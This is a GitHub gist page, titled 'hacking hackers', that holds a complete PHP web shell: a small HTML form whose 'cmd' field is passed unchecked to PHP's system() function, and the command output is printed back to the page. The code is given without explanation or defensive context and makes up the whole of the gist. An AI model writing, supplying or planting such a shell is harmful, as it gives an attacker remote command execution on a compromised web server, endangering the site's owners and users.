Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Created February 5, 2024 13:22
Show Gist options
  • Save c0d3x27/133c85a811e2e811a0f9ae499c1edcaa to your computer and use it in GitHub Desktop.
Save c0d3x27/133c85a811e2e811a0f9ae499c1edcaa to your computer and use it in GitHub Desktop.
hacking hackers
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment